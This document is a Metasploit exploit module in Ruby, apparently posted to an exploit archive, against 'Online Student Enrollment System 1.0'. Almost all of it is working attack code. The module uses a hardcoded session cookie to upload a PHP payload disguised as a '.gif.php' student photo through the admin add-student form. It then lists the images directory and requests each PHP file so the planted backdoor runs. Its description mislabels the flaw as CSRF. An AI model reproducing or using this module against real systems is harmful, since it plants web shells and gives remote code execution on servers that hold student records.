Online Student Enrollment System 1.0 Shell Upload

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
require 'msf/core'  
require "net/http"  
require "uri"  
require 'nokogiri'  
  
  
  
class MetasploitModule < Msf::Exploit  
Rank = ExcellentRanking  
  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Remote::HttpClient  
  
  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Online Student Enrollment System v1.0 Shell Upload ',  
'Description' => %q{  
This module exploits CSRF Vulnerability on Online Student Enrollment System v1.0.   
},  
'Author' => [ 'th3d1gger', 'bkpatron' ],  
  
'License' => 'MSF_LICENSE',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
[ 'Automatic', {} ],  
],  
'DefaultTarget' => 0 ))  
register_options(  
[  
OptString.new('TARGETURI', [ true, 'Student Enrollment System uriPath', '/student_enrollment/'])  
  
  
  
], self.class)  
end  
  
def targeturi  
datastore['TARGETURI']  
end  
  
  
  
  
def online_reg  
  
  
  
  
  
@fname = "#{rand_text_alphanumeric(rand(10)+6)}.gif.php"  
php = "<?php #{payload.encoded} ?>"  
post_data = Rex::MIME::Message.new  
post_data.add_part(rand_text_alphanumeric(rand(10)+6), nil, nil,'form-data; name="name"')  
post_data.add_part(rand(9999).to_s, nil, nil, 'form-data; name="roll"') #rolling in the deep lol  
post_data.add_part(rand_text_alphanumeric(rand(9)+6).to_s, nil, nil, 'form-data; name="address"')  
post_data.add_part('01'+rand_text_alphanumeric(rand(6)+6).to_s, nil, nil, 'form-data; name="pcontact"')  
post_data.add_part('2nd', nil, nil, 'form-data; name="class"')  
post_data.add_part(php, 'application/octet-stream', nil, "form-data; name=\"photo\"; filename=\"#{@fname}\"")  
post_data.add_part('Add Student', nil, nil, 'form-data; name="addstudent"')  
  
post_datacan = post_data.to_s  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(datastore["TARGETURI"]+'/admin/index.php?page=add-student'),  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'cookies' => 'PHPSESSID=9178c6b337bdcff98de7fa66a8047f3d;',   
'data' => post_datacan  
})  
  
if res.body.include?('Inserted!')  
  
print_status("backdoor uploaded")  
uri = URI.parse('http://'+rhost.to_s+':'+rport.to_s+datastore['TARGETURI'].to_s+'admin/images/')  
http = Net::HTTP.new(uri.host, uri.port)  
  
  
request = Net::HTTP::Get.new(uri.request_uri)  
  
response = http.request(request)  
doc = Nokogiri::HTML(response.body)  
  
# Get all anchors via xpath to find uploaded file  
nodeset = doc.xpath('//a')   
hrefler = nodeset.map {|element| element["href"]}.compact  
hrefler.each { |n|   
if n.include?('.php')  
#blind execution of payload  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(datastore['TARGETURI']+'/admin/images/'+n)  
  
})  
end   
}  
  
sleep(60)  
  
else  
#print res.body  
print_status("Upload Failed because of roll duplicate.Try Again!.")  
end   
  
  
end  
  
  
  
def exploit  
online_reg  
  
if online_reg.nil?  
fail_with(Failure::Unknown, 'Something went wrong!')  
end  
end  
end  
`